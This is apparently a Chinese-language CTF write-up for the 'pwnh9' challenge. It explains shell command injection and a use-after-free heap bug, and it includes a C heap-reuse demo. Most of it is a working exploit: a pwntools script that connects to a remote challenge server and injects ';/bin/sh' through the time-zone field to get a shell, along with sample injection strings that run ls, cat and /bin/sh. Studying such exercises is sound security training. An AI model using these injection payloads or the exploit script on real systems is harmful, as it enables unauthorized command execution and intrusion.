0%

pwnh9

知识点1
在linux shell中,假如有如下语句,这就是shell注入方面
echo ‘’;ls;cat 1.txt;/bin/sh;’’
则ls、cat 1.txt、/bin/sh这三个命令会依次执行,这也就是本题突破的关键

知识点2
C语言或C++ 申请内存后,用free或delete释放堆后,指针的值还在,如果不手动设置为NULL,就可以被我们利用。

堆内存的分配有规律,我们用如下的代码做试验

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>  
#include <stdlib.h>

int main() {
for (int i=1;i<=100;i++) {
char *c = (char *)malloc(i);
printf("0x%x\n",(long)c);
free(c);
printf("0x%x\n",(long)c);
}
return 0;
}

发现,输出的地址全部都一样,这说明,当前一个堆释放后,新创建的堆的地址就是前一个堆的地址

那么,我们来看题
选项5退出时,释放了堆内存,但是并没有将指针设置为NULL,因此指针仍然指向原来的那个地址。

选项4,有system,这里判断ptr的内容是否为空,于是我们在退出时,选择不退出,这样我们释放了第一个堆,然后我们在选项3中输入注入语句,创建的堆的地址就是第一个堆的地址,也就是ptr指向的内容 ,最后再选择4,执行getshell。这就是UAF(use After Free)漏洞,通过UAF使得set_time_zone分配得到的是set_format释放掉的内存。

这样,格式化字符串后的command就是

/bin/date -d @0 + “;/bin/sh”

于是我们的脚本这样写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *  

#sh = process('./pwnh9')

sh = remote('111.198.29.45',57042)

sh.sendlineafter('>','1')

sh.sendline('test')

sh.sendlineafter('>','5')

sh.sendlineafter('Are you sure you want to exit (y/N)?','N')

sh.sendlineafter('>','3')

sh.sendlineafter('Time zone:',"';/bin/sh'")

sh.sendlineafter('>','4')

sh.interactive()